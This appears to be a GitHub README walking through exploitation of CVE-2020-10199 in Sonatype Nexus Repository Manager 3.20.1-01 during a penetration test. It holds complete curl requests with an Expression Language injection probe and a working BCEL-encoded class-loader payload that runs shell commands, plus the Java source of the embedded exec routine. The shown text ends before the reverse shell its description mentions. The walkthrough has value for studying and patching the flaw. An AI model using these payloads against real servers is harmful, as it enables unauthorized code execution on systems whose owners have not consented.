finn79426/cve-2020-10199Proof-of-concept and technical walkthrough demonstrating remote code execution in Sonatype Nexus, including EL injection debugging, BCEL payload construction, and reverse shell establishment.
Previously, during a penetration test, I encountered a target environment that had Nexus Repository Manager deployed. After stepping on some pitfalls, I finally managed to get a shell.
I'll make a brief record here so it's easier to review later if needed.
Target version: Sonatype Nexus Repository Manager OSS 3.20.1-01
Tested Code Execution with a PoC to confirm the vulnerability exists. (Note: at this time we were in a logged-in session, because we happened to discover a default credential issue in the target environment)
curl -i -s -k -X $'POST' \
-H $'Host: vulnerable.host:8081' -H $'Content-Length: 211' -H $'Content-Type: application/json' \
-b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
--data-binary $'{\x0d\x0a \"name\": \"internal\",\x0d\x0a \"online\": true,\x0d\x0a \"storage\": {\x0d\x0a \"blobStoreName\": \"default\",\x0d\x0a \"strictContentTypeValidation\": true\x0d\x0a },\x0d\x0a \"group\": {\x0d\x0a \"memberNames\": [\"$\\\\A{7*7}\"]\x0d\x0a}\x0d\x0a}' \
$'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'
I tried the RCE PoC circulating online, but it didn't succeed.
You can observe that the output echoes the payload back verbatim.
https://github.com/jas502n/CVE-2020-10199
Debugged step by step to see where the problem was.
I observed that "$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6]}" responded, but appending invoke() caused it to fail.
Continued debugging and found that getRuntime() seemed inaccessible.
Also, setAccessiable(true) didn't seem to succeed either. I suspect there are some security settings in the JVM blocking reflection operations.
But at least we know the Java EL Code Execution vulnerability definitely exists. All that remains is finding the right path to successfully achieve RCE and also return the output.
https://blog.orange.tw/posts/2018-08-how-i-chained-4-bugs-features-into-rce-on-amazon/
https://stack.chaitin.com/techblog/detail/30
After checking several research articles, I finally found a usable BCEL RCE Payload.
curl -i -s -k -X $'POST' \
-H $'Host: vulnerable.host:8081' -H $'Content-Length: 1943' -H $'Content-Type: application/json' \
-b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
--data-binary $'{\x0d\x0a \"name\": \"internal\",\x0d\x0a \"online\": true,\x0d\x0a \"storage\": {\x0d\x0a \"blobStoreName\": \"default\",\x0d\x0a \"strictContentTypeValidation\": true\x0d\x0a },\x0d\x0a \"group\": {\x0d\x0a \"memberNames\": [\"$\\\\A{\'\'.class.forName(\'com.sun.org.apache.bcel.internal.util.ClassLoader\').newInstance().loadClass(\'$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A\').newInstance().exec(\'id\')}\"]\x0d\x0a}\x0d\x0a}' \
$'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'
Post Body:
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('id')}"]}
}
The Bytecode part is:
public String exec(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
String res = stringBuilder.toString();
return res;
}
Afterwards, I discovered that /bin/python exists on the target host.